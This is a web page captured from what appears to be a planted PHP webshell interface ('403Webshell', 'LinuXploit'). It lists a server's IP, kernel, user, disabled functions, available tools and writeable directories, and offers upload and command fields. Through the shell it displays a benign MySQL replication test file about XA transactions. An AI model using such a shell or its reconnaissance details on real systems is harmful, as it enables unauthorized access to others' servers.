403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.71.81.91
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/rpl/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/rpl/t/rpl_bug26395.test
# ==== Purpose ====
#
# Tests that an autocommitted XA transaction where the master crashes
# just before writing the XID log event is executed correctly.  The
# master rolls back, so the slave should not execute statement.
#
# This test was previously part of rpl_ndb_transaction.test
#
#
# ==== Method ====
#
# We want master to be alive so that it can replicate the statement to
# the slave. So in the test case, we must not crash the
# master. Instead, we fake the crash by just not writing the XID event
# to the binlog. This is done by the @@debug='d,do_not_write_xid'
# flag. This, in turn, requires us to do 'source
# include/have_debug.inc'
#
# So, unlike if the master had crashed, the master *will* execute the
# statement. But the slave should not execute it. Hence, after the
# test is executed, the expected result on master is a table with one
# row, and on slave a table with no rows.
#
# To simulate the slave correctly, we wait until everything up to but
# not including the XID is replicated. This has to be done with
# include/sync_slave_io_with_master.inc, not sync_slave_with_master,
# since the latter waits until the slave *SQL* thread has caught up
# with the master's position, which it will never do.
#
#
# ==== Related bugs ====
#
# BUG#26395: if crash during autocommit update to transactional table on master, slave fails

--source include/not_group_replication_plugin.inc
source include/have_innodb.inc;
# have_debug is needed since we use the @@debug variable on master
source include/have_debug.inc;
source include/master-slave.inc;

# test adapts simulation of incomplete transaction that MTS does not tolerate
# when is stopped. So it reacts with an error whereas the single-threaded is fine.
-- source include/not_mts_slave_parallel_workers.inc


--echo ==== Initialize ====

--echo [on master]
--connection master

CREATE TABLE tinnodb (a INT) ENGINE = INNODB;
SHOW CREATE TABLE tinnodb;

# do_not_write_xid stops the master from writing an XID event.
set @old_debug= @@debug;
set @@debug= 'd,do_not_write_xid';


--echo ==== Test ====

# Save the position up to which the slave SQL thread should execute.
save_master_pos;

# Execute query and check that the row made it to the table.
INSERT INTO tinnodb VALUES (1);
SELECT * FROM tinnodb ORDER BY a;

# Sync slave's IO thread.
--echo [on slave]
# After the implementation of the transaction boundary parser,
# this sync cannot use GTIDs or else sync will timeout because only
# GTIDs of fully replicated transactions are in the
# Retrieved_Gtid_Set of the slave and, as the last event of the
# transaction never arrives, syncing with GTIDs won't work.
--let ignore_gtids_on_sync= 1
source include/sync_slave_io_with_master.inc;

# Sync slave's SQL thread.
sync_with_master 0;

--echo ==== Verify results on slave ====

source include/stop_slave.inc;

--let $status_items=Slave_IO_State,Last_SQL_Error,Last_IO_Error
--source include/show_slave_status.inc

--let $assert_text= Assert that the slave table has no rows
--let $assert_cond= `SELECT COUNT(*) = 0 FROM tinnodb`
--source include/assert.inc

--echo ==== Clean up ====

# Easiest to clean up master and slave separately, without
# replication, since master and slave are out of sync.

--echo [on master]
connection master;
DROP TABLE tinnodb;
set @@debug= @old_debug;

--echo [on slave]
connection slave;
DROP TABLE tinnodb;

# Warning: do not add more tests here. The binlog is in a bad state.
--let $rpl_only_running_threads= 1
--source include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit